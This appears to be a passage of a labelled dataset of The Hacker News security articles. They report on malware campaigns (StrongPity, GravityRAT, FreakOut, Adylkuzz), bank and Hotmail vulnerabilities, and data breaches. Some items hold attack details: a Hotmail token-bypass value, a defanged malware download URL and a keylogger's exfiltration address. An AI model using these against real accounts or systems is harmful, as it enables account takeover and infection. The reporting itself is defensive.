""Interestingly, all files investigated pertaining to the tainted applications appear to have been compiled from Monday to Friday, during normal 9 to 6 UTC+2 working hours,"" the researchers said. ""This strengthens the idea that StrongPity could be a sponsored and organized developer team paid to deliver certain 'projects.'""

Once the malware dropper is downloaded and executed, the backdoor is installed, which establishes communication with a command and control server for document exfiltration and for retrieving commands to be executed.


It also deploys a ""File Searcher"" component on the victim's machine that loops through every drive and looks for files with specific extensions (e.g., Microsoft Office documents) to be exfiltrated in the form of a ZIP archive.

This ZIP file is then split into multiple hidden "".sft"" encrypted files, sent to the C&C server, and ultimately deleted from the disk to cover any tracks of the exfiltration.

Expanding Beyond Syria and Turkey

Although Syria and Turkey may be their recurring targets, the threat actor behind StrongPity appears to be expanding their victimology to infect users in Colombia, India, Canada, and Vietnam using tainted versions of Firefox, VPNpro, DriverPack, and 5kPlayer.


Calling it StrongPity3, Cisco Talos researchers yesterday described an evolving malware toolkit that employs a module called ""winprint32.exe"" to launch the document search and transmit the collected files. What's more, the fake Firefox installer also checks if either ESET or BitDefender antivirus software is installed before dropping the malware.

""These characteristics can be interpreted as signs that this threat actor could in fact be part of an enterprise service for hire operation,"" the researchers said. ""We believe this has hallmarks a professionally packaged solution due to the similarity of each piece of malware being extremely similar but used across different targets with minor changes.""

",Cyber_Attack
Researcher warns about Security Loopholes in Denmark's Largest Bank,https://thehackernews.com/2015/10/hack-danske-bank.html,"While accessing your Bank account online, Have you ever thought…

...there could be a Hacker, somewhere in the World, who is after your Money?

Maybe NO. Because, you believe that your bank offers Secure banking solution, Right?

At The Hacker News, we have reported many incidents of cyber attacks, which proves that Banks are more often being targeted by Hackers, despite robust Banking Security mechanisms.

Today we are going to talk about security of one of the Denmark's Largest Bank, reviewed by Sijmen Ruwhof, an Ethical Hacker, and IT Security Consultant.

Ruwhof recently published a blog post, ""How I could Hack Internet Bank accounts of Danish Largest Bank in a few minutes"".

His In-depth technical post explains the extent to which Danske Bank, one of the largest Danish Bank, is vulnerable to hacking.

In August, Ruwhof got intrigued with the idea of testing Bank's security while interacting with a group of Danish hackers at the Chaos Communication Camp (CCC), near Berlin.

According to Ruwhof, Security experts and Whitehat hackers were disappointed with the terrible security implementations adopted by many Danish Banks.

Ruwhof decided to see more of it… and Danske Bank did not disappoint him.

Summary: Danske Bank Security Loopholes

He visited the website and viewed the HTML code of the customer login screen, and while browsing through the code, he had not imagined the kind of shock he got.

A summary of what Ruwhof encountered, goes like this (Its a tale and not a LIST):
JavaScript comments contained internal server information (in a URL encoded format); Confidential Data to be precise.
On decoding, keywords like: HTTP_CONNECTION and HTTP_ACCEPT were mentioned; Not meant for the guests, these keywords are supposed to be present at the server end.
Ruwhof could see IP address of a probable customer (through variable HTTP_CLIENTIP) visiting Danske Bank's website.
Variable HTTP_USER_AGENT contains an operating system and web browser details; not used by Ruwhof.
Variable HTTP_COOKIE was visible and full of information; credentials of a customer could be hijacked in real time (Ruwhof resisted on breaking the law).
HTTP Basic authentication was not present as variables AUTH_USER and AUTH_PASSWORD were not carrying any data.
Danske Bank doesn't use a secure HTTPS connection to transport customer banking traffic; as variable HTTPS was OFF and SERVER_PORT carried value 80.
They're still using COBOL code on their backend; for (Customer Information Control System) CICS and Database handling.

After exploring all this loopholes and being in a state of shock…

....Ruwhof wanted to report about the security vulnerabilities to Danske Bank, in an effort to aware them about the risks associated with their Online Banking service.

What He got in return was Nothing!

Firstly, the Bank didn't has any contact that supports and responds to such disclosures.

Secondly, after managing to get a customer care number, the executive at the other end said: ""Our technical guy will look at your finding.""

Then finally, Ruwhof took the Social Network's route to reach an employee of Danske Bank, where he got success, and reportedly the vulnerabilities were got patched within 24 hours.

Wait, the Story doesn't Ends Here:

After 12 days Danske Bank acknowledged Rowhof and reading that he almost went into the coma, as the Bank thanked him for reporting about a potential vulnerability!
On a serious note, Ruwhof said that with his 17 years of experience, he can differentiate between the good and the bad.
""Someone at Danske Bank has messed up pretty hard, and they're now covering the situation. That's not honest and certainly not transparent.""
""For at least two weeks, but probably a lot longer, very confidential customer data in the form of session cookies were leaking on Danske Bank's web site. With these cookies, it should have been possible to hijack internet banking accounts of their customers. They closed the security hole quickly but are now in denial of it.""

Hacker Attack! Could they Steal from you?

We would suggest the Danske Bank and our readers to have a Good Read of the following links to know the extremities at both the ends.
Cyber Attacks on 6 major banks
Zeus Trojan- targeting banks in Japan
The UK banks victims of Ramnit Banking Malware
HDFC Bank's Website Vulnerable to Identity Theft

Therefore, you CAN be the victim bank of cyber attack too!

",Vulnerability
Zero-Day Vulnerability in Symantec PGP Whole Disk Encryption,https://thehackernews.com/2013/01/zero-day-vulnerability-in-symantec-pgp.html,"Symantec product PGP Whole Disk Encryption which is used to encrypt all the contents on the disk on a block-by-block basis having Zero-Day Vulnerability, according to a pastebin note.

Note was posted on 25th Dec by Nikita Tarakanov, claiming that pgpwded.sys kernel driver distributed with Symantec PGP Desktop contains an arbitrary memory overwrite vulnerability. Affected version of software is Symantec PGP Desktop 10.2.0 Build 2599 (up-to date).

Through a blog post, Symantec confirmed that its a potential issue, but it cannot easily be exploited. Vulnerability is limited to systems running Windows XP and Windows 2003 only. An attacker would need local access to a vulnerable computer to exploit this vulnerability.

Note posted by Nikita also provide technical details on the issue, that help Symantec encryption engineering team to understand the issue. ""However, the exploit would be very difficult to trigger as it relies on the system entering an error condition first. Once in this error condition, the exploit could allow an attacker with lower privileges to run some arbitrary code with higher privileges."" Kelvin Kwan said.

Vendor is planning a fix in an upcoming maintenance pack in February.

",Vulnerability
Google Accidentally Shared Private Videos of Some Users With Others,https://thehackernews.com/2020/02/google-photos-videos.html,"Google might have mistakenly shared your private videos saved on the company's servers with other users, the tech giant admitted yesterday in a security notification sent quietly to an undisclosed number of affected users.

The latest privacy mishap is the result of a ""technical issue"" in Google's Takeout, a service that backs up all your Google account data into a single file and then lets you download it straight away.

According to a screenshot Jon Oberheide of Duo Security shared on Twitter, the issue reportedly remained active between 21st November and 25th November last year, during which ""some videos in Google Photos [service] were incorrectly exported to unrelated user's archives.""

Vice versa, if you had also requested for your account backup during the same 5-day period, you might have even received unrelated videos from other Google accounts.


So, the data leak incident potentially affects only those who used Google Takeout service in late November last year and doesn't involve photographs you uploaded to Google Photos.

However, the extent of the bug remains unclear, as Google roughly saying ""one or more videos in your Google Photos account was affected by this issue.""

The search engine giant also apologized for the glitch and confirmed that it has identified the issue and resolved it.

",Vulnerability
Computerized Prison doors hacked with vulnerabilities used by Stuxnet worm,https://thehackernews.com/2011/11/computerized-prison-doors-hacked-with.html,"Computerized Prison doors hacked with vulnerabilities used by Stuxnet worm

Security holes in the computer systems of federal prisons in the United States can effectively allow hackers to trigger a jailbreak by remote control. The discovery of the Stuxnet worm has alerted governments around the world about the possibility of industrial control systems being targeted by hackers.

A team of researchers with John Strauchs, Tiffany Rad and Teague Newman presented their findings at a recent security conference. They said the project wasn't really all that difficult -- it just took a little time, some equipment bought online and a basement workspace. The idea for the research came about from work that Strauchs had done previously.

""I designed a maximum security prison security system. That is, I did the engineering quite a few years ago and literally on Christmas Eve, the warden of that prison after it was occupied, called me and told me all the doors had popped open, including on death row, which of course sent chills down my spine. So we fixed that problem very quickly. It was a minor technical thing that had to do with the equipment used, but the gist of it was it made me think if that could be done accidentally, what was the extent of what you could do if you did it deliberately?""

The security systems in most American prisons are run by special computer equipment called industrial control systems, or ICS. They are also used to control power plants, water treatment facilities and other critical national infrastructure. ICS has increasingly been targeted by hackers because an attack on one such system successfully sabotaged Iran's nuclear program in 2009.A malicious cyber-intruder could ""destroy the doors,"" by overloading the electrical system that controls them, locking them permanently open, said Mr. Strauchs, now a consultant who has designed security systems for dozens of state and federal prisons.

The U.S. Department of Homeland Security has confirmed the validity of their results and the researchers have already demonstrated the attack to federal and state Bureaus of Prisons and a number of federal agencies.

",Vulnerability
0Day Remote Password Reset Vulnerability in MSN Hotmail patched,https://thehackernews.com/2012/04/0day-remote-password-reset.html,"Microsoft's MSN Hotmail (Live) email service currently hosts over 350 million unique users. A Vulnerability Laboratory senior researcher, Benjamin Kunz Mejri, identified a critical security vulnerability in Microsoft's official MSN Hotmail (Live) service. A critical vulnerability was found in the password reset functionality of Microsoft's official MSN Hotmail service.

The vulnerability allows an attacker to reset the Hotmail/MSN password with attacker chosen values. Remote attackers can bypass the password recovery service to setup a new password and bypass in place protections (token based). The token protection only checks if a value is empty then blocks or closes the web session. A remote attacker can, for example bypass the token protection with values ""+++)-"". Successful exploitation results in unauthorized MSN or Hotmail account access. An attacker can decode CAPTCHA & send automated values over the MSN Hotmail module.

Regarding the consequences it was a win for Microsoft to close the security issue as fast as possible after the analysis has ended. The vulnerability can be used by attackers in combination with a web exploit kit which is automatic resetting the Hotmail or live accounts. This incident had the severity to end in an complete disaster with millions of compromised live/Hotmail accounts. After the fast reaction of the MSRC Team only some users mail accounts got hacked by an Arabic (Moroccan) group. MSRC freeze all hacked accounts with a universal violation term message. The Moroccan group which tried to exploit the reset vulnerability in the wild wants to use a 13 million user Hotmail account list to reset passwords. After the vulnerability has been patched over the weekend to Monday the attackers cannot anymore access or reset any passwords of the windows live service.

The vulnerability has been patched by the Microsoft development team coordinating closely with the Microsoft Security Response Center (MSRC) & external researchers like Benjamin Kunz Mejri (vulnerability-lab). Benjamin Kunz Mejri identified & located the vulnerability on 6th & it has been addressed april 20th.
Timeline:

2012-04-06: Researcher Notification & Coordination
2012-04-20: Vendor Notification by VoIP Conference
2012-04-20: Vendor Response/Feedback
2012-04-21: Vendor Fix/Patch
2012-04-26: Public or Non-Public Disclosure

""We are aware of this issue from public discussion, and we have already addressed it to protect Windows Live ID customers,"" MSRC representatives said.

",Vulnerability
DMARC: The First Line of Defense Against Ransomware,https://thehackernews.com/2021/06/dmarc-first-line-of-defense-against.html,"There has been a lot of buzz in the industry about ransomware lately. Almost every other day, it's making headlines. With businesses across the globe holding their breath, scared they might fall victim to the next major ransomware attack, it is now time to take action.
The FBI IC3 report of 2020 classified Ransomware as the most financially damaging cybercrime of the year, with no major improvement in 2021.
Wouldn't it be nice if you could prevent a ransomware attack from occurring in the first place? DMARC can make this seemingly impossible claim a possibility for domain owners!
Multiple benefits arise from your DMARC implementation over time, including an increase in the deliverability of your email as well as a higher domain reputation. DMARC is also known as the first line of defense against Ransomware.
Let's take a closer look.
What are the Risks Associated with Ransomware?
Ransomware is malicious software that installs itself on your computer without your permission. It then encrypts your data, and you can only get it back by paying a fee.
Once a ransomware program has gained access to your system, it can cause a great deal of havoc, and the ransom demands are expensive to resolve. It is disastrous for a business that relies on access to critical data stored on its computers.
Lack of DMARC protection in organizations can lead to the following:
When email authentication protocols are not in place, cybercriminals can easily pretend to be you and send fake emails to your clients, partners, and even internal employees.
Fraudulent email messages may contain attachments or files containing ransomware.
If any of your employees open the message, your entire organization is put at risk of having sensitive information present on your organizational systems denied access, with your data being held hostage for huge amounts of money.
Furthermore, if the phishing email contains ransomware and is delivered to and opened by your clients and partners who see it as coming from you, it will damage your company's reputation.
The threat of ransomware attacks perpetrated by using fake email messages results from the use of spoofing tactics on your domain, and either way can potentially result in your business going under, your customers losing trust, and loss of data and financial assets.
The payment of a ransom is not a guarantee that you will regain access to your data since attackers often do not decrypt information once it has been encrypted, even after receiving payment.
When you implement DMARC at your organization, you ensure that the email receivers only receive emails that are sent from legitimate sources and are authorized by you. DMARC allows you to instruct your email receiving servers to block messages that appear suspicious or are sent from unapproved sources. In this way, the risk of malware being delivered via fake emails is greatly reduced.
To find out how safe your domain is against email spam and spoofing, use this DMARC Domain Checker. You might be shocked by the results!
The Cybersecurity and Infrastructure Security Agency (CISA) recommends DMARC for Ransomware Protection
As a result of the increase in Ransomware attacks on global businesses, the CISA has deemed email phishing to be one of the most potent vectors of the threat.
Cybersecurity Infrastructure Security Agency of the US government has recommended, in their Ransomware Protection Guide, that all businesses, including government agencies, implement DMARC as early as possible to reduce the likelihood of spoofed or modified emails from valid domains. The reason for this is that DMARC builds on email authentication standards like SPF and DKIM, which authenticate sending sources, and ensure that your recipients are never deceived.
Implementing a DMARC analyzer in your organization ensures you are protected from impersonation to the fullest extent possible. This tool makes it easy to configure DMARC for your domain and switch to an enforced policy within days.
This ultimately leads to:
Lowers the chances of your domain being spoofed by attackers
Prevents the delivery of fake emails to your receivers and improves trust with your partners
Drastically reduces the success rate of ransomware attacks on your customers
Boosts email deliverability and domain reputation
Provides you an early indicator of any attacks that are launched against your brand
Monitoring Your Domain is a Must to Prevent Future Attacks
While DMARC can help you mitigate Ransomware attacks by preventing your domain name from being spoofed, it is important to realize that attackers are constantly adapting their tactics and upgrading their software. The sophistication of social engineering attacks is increasing over time, making them more difficult to detect and prevent.
This is why monitoring your domains at your organization is so vital to maintaining an effective email security posture. DMARC reports allow you to do just that.
A DMARC Report Analyzer helps you:
Monitor your domains across an interactive and organized dashboard
View your DMARC reports in a simplified, human-readable format
It handles your DMARC data on your behalf
Parses complex XML files into easily readable tables and charts, and helps you view your authentication results in real-time
Converts your DMARC reports into PDF documents that you can easily share with your employees
View granular details on email sending sources such as their underlying IP addresses, organizational domains, history of domain abuse, and geolocations of your senders. This data allows you to track malicious sources faster and take action against them.
Overall, it serves to prevent fraud from happening in the future. Since humans are prone to making mistakes, urging your customers and employees not to click on malicious links is pointless. Taking matters into your own hands is what you should do instead. Sign up for your free DMARC trial today!

",Malware
"Pornhub Launches Bug Bounty Program; Offering Reward up to $25,000",https://thehackernews.com/2016/05/porn-hub-reward.html,"With the growing number of cyber attacks and data breaches, a significant number of companies and organizations have started Bug Bounty Programs to encourage hackers and security researchers to find and responsibly report bugs in their services and get a reward.

Now, even pornography sites are starting to embrace bug bounty practices in order to safeguard its user's security.

The world's most popular pornography site PornHub has launched a bug bounty program for security researchers and bug hunters who can find and report security vulnerabilities in its website.

Partnered with HackerOne, PornHub is offering to pay independent security researchers and bug hunters between $50 and $25,000, depending upon the impact of vulnerabilities they find.

Also Read: 10-year-old Boy becomes the youngest Bug Bounty Hacker.

HackeOne is a bug bounty startup that operates bug bounty programs for companies including Yahoo, Twitter, Slack, Dropbox, Uber, General Motors – and even the United States Department of Defense for Hack the Pentagon initiative.
""Like other major tech players have been doing as of late, we're tapping some of the most talented security researchers as a proactive and precautionary measure – in addition to our dedicated developer and security teams – to ensure not only the security of our site but that of our users, which is paramount to us,"" said PornHub Vice President Corey Price.

""The brand new program provides some of our developer-savvy fans a chance to earn some extra cash – upwards to $25K – and the opportunity to be included in helping to protect and enhance the site for our 60 Million daily visitors.""

How to Earn $25,000 Reward

To qualify for a bounty reward, security researchers and bug hunters must meet the following requirements:
Be the first to report a security bug directly related to the company infrastructure.
Send a description of your bug report, explaining the type of vulnerability and how it works.
Include screenshots and proof of concept code to substantiate your claim.
Disclose your finding directly and exclusively with Pornhub.
The company is currently considering serious flaws that could compromise its server and entire website.

Vulnerabilities such as cross-site request forgery (CSRF), information disclosure, cross domain leakage, XSS attacks via Post requests, HTTPS related (such as HSTS), HttpOnly and Secure cookie flags, missing SPF records and session timeout will not be considered for the bounty program.

The bounty program has currently been in a beta phase, with the company extending it via invite only. You can read complete eligibility for the bounty program on HackerOne website.

",Vulnerability
Limitless Keylogger Optimized with AutoIT Infected thousands of Computers,https://thehackernews.com/2014/09/limitless-keylogger-optimized-with_22.html,"A new surge of malware has been discovered which goes on to infect hundreds of thousands of computers worldwide and allegedly steals users' social and banking site credentials.

Few days back, a list of 5 million combinations of Gmail addresses and passwords were leaked online. The search engine giant, Google said that Gmail credentials didn't come from the security breaches of its system, rather the credentials had been stolen by phishing campaigns and unauthorized access to user accounts.

Just now, we come across another similar incident where cyber criminals are using a malware which has already compromised thousands of Windows users worldwide in an effort to steal their Social Media account, Online account and Banking account Credentials.

A Greek Security Researcher recently discovered a malware sample via a spam campaign (caught in a corporate honeypot), targeting large number of computers users rapidly. He investigated and posted a detailed technical analyses of the malware on his blog.

After reverse engineer the malware sample file, he found that the cybercriminals are using a combination of software AutoIT (Automate day-to-day tasks on computers) and a ""commercial"" Keylogger named ""Limitless Keylogger"" to make it FUD i.e. Fully Undetectable from static analysis.

Keylogger is a critical type of software program for cyber criminals, which records every input typed into the keyboard and easily detects passwords for users' Email accounts, Social Media accounts and Online Bank accounts.

This malicious application captures every keystrokes users press and send them to a specified email address linked to the cyber criminal. More interestingly, the malware uses AutoIT in order to evade detection by Antivirus programs.
The malware distributed in the spam campaign comes as a WinRAR SFX executable file with a custom icon which drops 4 malicious files onto the victim's computers with hidden and system attributes.

The Malware archive includes:
AutoIT script 'update.exe' of 331MB
Python script to ""deobfuscate"" AutoIT script
oziryzkvvcpm.AWX - Settings for AutoIT script
sgym.VQA – Another Encrypted malware/Payload Binary
Initially the obfuscated AutoIT Script is of size 331MB, because it contains lots of garbage content, but after deobfuscate process it becomes only 55kbyte in size with clean malicious code.

Researcher found lot of functions and various functionalities in the malware code those allow the malicious software to protect itself from detection.

On Further reserve engineering, he found that the malware sends the collected keystroke data to the cybercriminal via SMTP email server. So he sniffed the whole conversation of malware SMTP traffic and discovered that the keylogger was sending all keystrokes of the user, screenshots, recovery data (saved passwords from several applications/browsers) to an email ID - ""ontherun4sales@yandex.ru"".

He also extracted the hardcoded SMTP email ID username and passwords of the respective Yandex mail address from the malware source code.
Researcher told SecNews, ""The detection was accomplished in the past few days and found that the malware was being Greek is targeting users (minimum numerical cases).""

""Possibly some Indonesian hackers might have used the malicious software available on the Russian hacking forum sites"" they said. ""and the targets are well known companies from retail industry,oil,airlines etc""

At last, the researcher also disclosed some online FTP servers using Google hacks, where the data has been uploaded by the different variants of the Limitless Logger by various hacking groups.

",Malware
Got a Smartphone with Android 4.3 or earlier? No WebView Vulnerability Patch for You,https://thehackernews.com/2015/01/hacking-android-mobile-vulnerability.html,"Owning a smartphone running Android 4.3 Jelly Bean or an earlier versions of Android operating system ?? Then you are at a great risk, and may be this will never end.

Yes, you heard right. If you are also one of millions of users still running Android 4.3 Jelly Bean or earlier versions of the operating system, you will not get any security updates for WebView as Google has decided to end support for older versions of Android WebView – a default web browser on Android devices.

WebView is the core component used to render web pages on an Android device, but it was replaced on Android 4.4 KitKat with a more recent Chromium-based version of WebView that is also used in the Chrome web browser.

Just a day after Google publicized a bug in Windows 8.1 before Microsoft could do anything about it, Tod Beardsley, a security analyst from Rapid7 who oversees the Metasploit project, discovered a serious bug in the WebView component of Android 4.3 and earlier that possibly left millions of Android smartphone users vulnerable to malicious hackers.

Android KitKit 4.4 and Lollipop 5.0 are not affected by the vulnerability, but over 60 percent of Android users – close to a billion people (950 Million) – still use the older version of Android 4.3 or below, which clearly states that the bug still affects more than a lot of people.

However, the response from Google after Beardsley notified the vulnerability made him and everyone of us stunned. Well, the tech giant won't patch the vulnerability in the WebView at all. The quote from Google to Beardsley is as follows:
""If the affected version [of WebView] is before 4.4, we generally do not develop the patches ourselves, but welcome patches with the report for consideration. Other than notifying OEMs, we will not be able to take action on any report that is affecting versions before 4.4 that are not accompanied with a patch.""
As a result, only devices running KitKit 4.4 and Lollipop 5.0 will receive security updates for WebView from Google and the remaining Android versions will remain unpatched or rely on fixes from third party developers. The company has said that it will welcome third-party patches.
""Google's reasoning for this policy shift is that they 'no longer certify 3rd party devices that include the Android Browser', and 'the best way to ensure that Android devices are secure is to update them to the latest version of Android',"" explained Beardsley.
""On its face, this seems like a reasonable decision. Maintaining support for a software product that is two versions behind would be fairly unusual in both the proprietary and open source software worlds.""
In other words, in case if a hacker or a cyber criminal finds a way to exploit WebView on older versions of Android OS, Google will not release any patch for the vulnerability itself. However, if any outsider develops a patch, Google will incorporate those patches into the Android Open Source Project code and will further provide them to handset makers. This is where the company's responsibility get over.

Though, Google says that WebView support in older versions of Android operating system is baked firmly into the operating system in such a way that it makes much harder for Google to create a patch to affected devices. This issue has been mitigated by the search engine giant in newer versions of Android by dropping WebView from the core OS and incorporating it into the Google Play Services app.

",Vulnerability
Windows GravityRAT Malware Now Also Targets macOS and Android Devices,https://thehackernews.com/2020/10/windows-gravityrat-malware-now-also.html,"A Windows-based remote access Trojan believed to be designed by Pakistani hacker groups to infiltrate computers and steal users' data has resurfaced after a two-year span with retooled capabilities to target Android and macOS devices.
According to cybersecurity firm Kaspersky, the malware — dubbed ""GravityRAT"" — now masquerades as legitimate Android and macOS apps to capture device data, contact lists, e-mail addresses, and call and text logs and transmit them to an attacker-controlled server.
First documented by the Indian Computer Emergency Response Team (CERT-In) in August 2017 and subsequently by Cisco Talos in April 2018, GravityRAT has been known to target Indian entities and organizations via malware-laced Microsoft Office Word documents at least since 2015.
Noting that the threat actor developed at least four different versions of the espionage tool, Cisco said, ""the developer was clever enough to keep this infrastructure safe, and not have it blacklisted by a security vendor.""
Then last year, it emerged that Pakistani spies used fake Facebook accounts to reach out to more than 98 officials from various defence forces and organizations, such as the Indian Army, Air Force, and Navy, and trick them into installing the malware disguised as a secure messaging app called Whisper.
But even as the latest evolution of GravityRAT goes beyond anti-malware evasion capabilities to gain multi-platform support — including Android and macOS — the overall modus operandi remains the same: sending targets links to booby-trapped Android (e.g., Travel Mate Pro) and macOS apps (Enigma, Titanium) to distribute the malware.
Kaspersky said it found over ten versions of GravityRAT that were being distributed under the guise of legitimate applications by cross-referencing the command-and-control (C2) addresses used by the Trojan.
In all, the trojanized applications spanned across travel, file sharing, media players, and adult comics categories, catering to users of Android, macOS, and Windows, thereby allowing the attackers to grab system information, documents with specific extensions, a list of running processes, record keystrokes and take screenshots, and even execute arbitrary Shell commands.
""Our investigation indicated that the actor behind GravityRAT is continuing to invest in its spying capacities,"" Kaspersky's Tatyana Shishkova said.
""Cunning disguise and an expanded OS portfolio not only allow us to say that we can expect more incidents with this malware in the APAC region, but this also supports the wider trend that malicious users are not necessarily focused on developing new malware, but developing proven ones instead, in an attempt to be as successful as possible.""

",Malware
"Weeks Before WannaCry, Cryptocurrency Mining Botnet Was Using Windows SMB Exploit",https://thehackernews.com/2017/05/smb-exploit-cryptocurrency-mining.html,"A security researcher has just discovered a stealthy cryptocurrency-mining malware that was also using Windows SMB vulnerability at least two weeks before the outbreak of WannaCry ransomware attacks.

According to Kafeine, a security researcher at Proofpoint, another group of cyber criminals was using the same EternalBlue exploit, created by the NSA and dumped last month by the Shadow Brokers, to infect hundreds of thousands of computers worldwide with a cryptocurrency mining malware called 'Adylkuzz.'

This malicious campaign went unnoticed for weeks because unlike WannaCry, this malware does not install ransomware or notify victims, but instead, it quietly infects unpatched computers with malware that only mine 'Monero,' a Bitcoin-like cryptocurrency.

This Malware Saves Computers From Getting Hacked By WannaCry

The Researcher believes Adylkuzz malware attack could be larger in scale than WannaCry ransomware attack because it has been designed to block SMB ports of a targeted computer after hijacking it.

In other words, Adylkuzz malware infects unpatched computers and then closes SMB ports to prevent them from further infections, which may have indirectly saved hundreds of thousand of computers from getting hacked by WannaCry ransomware as well.

Mining cryptocurrencies can be a costly investment as it requires an enormous amount of computing power, but the Adylkuzz cryptocurrency-mining malware makes it easier for cybercriminals by allowing them to utilize computing resources of compromised systems and makes lots and lots of dollars.
""Once infected through use of the EternalBlue exploit, the cryptocurrency miner Adylkuzz is installed and used to generate cybercash for the attackers,"" said Robert Holmes, vice president of products at Proofpoint.
One Monero is currently valued at around US$26.77.
""While an individual laptop may generate only a few dollars per week, collectively the network of compromised computers appears to be generating five-figure payouts daily,"" the researchers added.
According to Proofpoint, tens of thousands of computers across the world have been infected by the Adylkuzz malware.

Despite people's efforts to patch their systems to prevent themselves from the WannaCry menace, Proofpoint believes the Adylkuzz attack is still growing and targeting Windows machines.

Last week, in a separate research, GuardiCore researchers uncovered a new botnet malware, dubbed BondNet, that was also infecting Windows machines worldwide, with a combination of techniques, for mining cryptocurrencies — primarily Monero, but also ByteCoin, RieCoin, and ZCash.

If this isn't enough, you'll find yourself worry after knowing that the hacking group, Shadow Brokers, who last month leaked the Windows SMB exploit, is back, promising to release more zero-days vulnerabilities and exploits starting from June.

So, the best key to keeping yourself safe is that instead of worrying about your devices, just patch them with the latest updates and follow some basic security tips that I have mentioned in my previous article about how to disable SMB and prevent your machines from WannaCry, cryptocurrency mining malware, and other malware.

",Malware
FreakOut! Ongoing Botnet Attack Exploiting Recent Linux Vulnerabilities,https://thehackernews.com/2021/01/freakout-ongoing-botnet-attack.html,"An ongoing malware campaign has been found exploiting recently disclosed vulnerabilities in network-attached storage (NAS) devices running on Linux systems to co-opt the machines into an IRC botnet for launching distributed denial-of-service (DDoS) attacks and mining Monero cryptocurrency.
The attacks deploy a new malware variant called ""FreakOut"" by leveraging critical flaws fixed in Laminas Project (formerly Zend Framework) and Liferay Portal as well as an unpatched security weakness in TerraMaster, according to Check Point Research's new analysis published today and shared with The Hacker News.
Attributing the malware to be the work of a long-time cybercrime hacker — who goes by the aliases Fl0urite and Freak on HackForums and Pastebin at least since 2015 — the researchers said the flaws — CVE-2020-28188, CVE-2021-3007, and CVE-2020-7961 — were weaponized to inject and execute malicious commands in the server.
Regardless of the vulnerabilities exploited, the end goal of the attacker appears to be to download and execute a Python script named ""out.py"" using Python 2, which reached end-of-life last year — implying that the threat actor is banking on the possibility that that victim devices have this deprecated version installed.
""The malware, downloaded from the site hxxp://gxbrowser[.]net, is an obfuscated Python script which contains polymorphic code, with the obfuscation changing each time the script is downloaded,"" the researchers said, adding the first attack attempting to download the file was observed on January 8.
And indeed, three days later, cybersecurity firm F5 Labs warned of a series of attacks targeting NAS devices from TerraMaster (CVE-2020-28188) and Liferay CMS (CVE-2020-7961) in an attempt to spread N3Cr0m0rPh IRC bot and Monero cryptocurrency miner.
An IRC Botnet is a collection of machines infected with malware that can be controlled remotely via an IRC channel to execute malicious commands.
In FreakOut's case, the compromised devices are configured to communicate with a hardcoded command-and-control (C2) server from where they receive command messages to execute.
The malware also comes with extensive capabilities that allow it to perform various tasks, including port scanning, information gathering, creation and sending of data packets, network sniffing, and DDoS and flooding.
Furthermore, the hosts can be commandeered as a part of a botnet operation for crypto-mining, spreading laterally across the network, and launching attacks on outside targets while masquerading as the victim company.
With hundreds of devices already infected within days of launching the attack, the researchers warn, FreakOut will ratchet up to higher levels in the near future.
For its part, TerraMaster is expected to patch the vulnerability in version 4.2.07. In the meantime, it's recommended that users upgrade to Liferay Portal 7.2 CE GA2 (7.2.1) or later and laminas-http 2.14.2 to mitigate the risk associated with the flaws.
""What we have identified is a live and ongoing cyber attack campaign targeting specific Linux users,"" said Adi Ikan, head of network cybersecurity Research at Check Point. ""The attacker behind this campaign is very experienced in cybercrime and highly dangerous.""
""The fact that some of the vulnerabilities exploited were just published, provides us all a good example for highlighting the significance of securing your network on an ongoing basis with the latest patches and updates.""

",Cyber_Attack
FBI will shutdown the Internet on March 8,https://thehackernews.com/2012/02/fbi-will-shutdown-internet-on-march-8.html,"FBI will shutdown the Internet on March 8

The Internet could go dark for millions of users as early as March 8 because of a virus that has corrupted computers in more than 100 countries. Last year, authorities in Estonia apprehended six men believed responsible for creating a malicious computer script called the DNSChanger Trojan. Once set loose on the Web, the worm corrupted computers in upwards of 100 countries, including an estimated 500,000 in America alone.

Must Read : FAQ : DNSChanger Trojan, Impact and Solutions

The primary impact of this infection is that it caused web surfers to be sent to fraudulent websites by changing what is called the DNS settings on compromised computers.The Domain Name System (DNS) is the backbone of the Internet's address scheme and DNS servers are special computers around the world that act as Internet traffic cops providing directions to websites that you wish to visit.

Though the FBI has shut down the DNSChanger network and put up surrogate servers, they warned the solution was only temporary - and the court-ordered deadline is March 8. When the FBI pinched this group, if they had shut down the rogue DNS servers, everyone that was infected would have instantly been cut off from the Internet so the FBI chose a different strategy.They decided to get a court order allowing them to replace the rogue DNS servers with legitimate stand-ins so that all the infected computers wouldn't get cut off without warning giving them time to get the word out.

Both Windows and MacOS users are at risk for this infection because it exploits your browser, not your operating system. If you are somewhat technical, you can do a self-check of your computer to make sure you're not infected by comparing your computer's DNS setting to the list of rogue DNS servers:

85.255.112.0 through 85.255.127.255
67.210.0.0 through 67.210.15.255
93.188.160.0 through 93.188.167.255
77.67.83.0 through 77.67.83.255
213.109.64.0 through 213.109.79.255
64.28.176.0 through 64.28.191.25

The FBI has published a pretty decent guide to performing the self-check here. If you are infected by the DNSChanger Trojan, the FBI reminds us that this malware also disables security updates which could have further exposed you to other malware.

Must Read : FAQ : DNSChanger Trojan, Impact and Solutions

",Malware
President Donald Trump's Website Hacked; Defaced By Iraqi Hacker,https://thehackernews.com/2017/02/donald-trump-website-hacked.html,"During the 2016 presidential election campaign, we reported about how insecure was the mail servers operated by the Trump organization that anyone with little knowledge of computers can expose almost everything about Trump and his campaign.

Now, some unknown hackers calling themselves ""Pro_Mast3r"" managed to deface an official website associated with President Donald Trump's presidential campaign fundraising on Sunday.

The hacker, claiming to be from Iraq, reportedly defaced the server, secure2.donaldjtrump.com, which is behind CloudFlare's content management system and security platform.

The server appears to be an official Trump campaign server, reported Ars, as the certificate of the server is legitimate, ""but a reference to an image on another site is insecure, prompting a warning on Chrome and Firefox that the connection is not secure.""

The defaced website displayed an image of a black hat man and included a text message, which reads:
Hacked by Pro_Mast3r ~
Attacker Gov
Nothing Is Impossible
Peace From Iraq

At the time of writing, the server is now offline, and there is no official statement from Trump-Pence campaign team yet.

According to a blog post published by Italian IT journalist Paolo Attivissimo, the source code of the defaced server does not contain any malicious script.

Instead, the server includes a link to javascript on a now-nonexistent Google Code account, 'masterendi,' which was linked to cyber attacks on three other sites in the past.

",Cyber_Attack
13 Million MacKeeper Users Hacked — 21 GB of Data Exposed,https://thehackernews.com/2015/12/mackeeper-antivirus-hacked_14.html,"MacKeeper anti-virus company is making headlines today for its lax security that exposed the database of 13 Million Mac users' records including names, email addresses, usernames, password hashes, IP addresses, phone numbers, and system information.

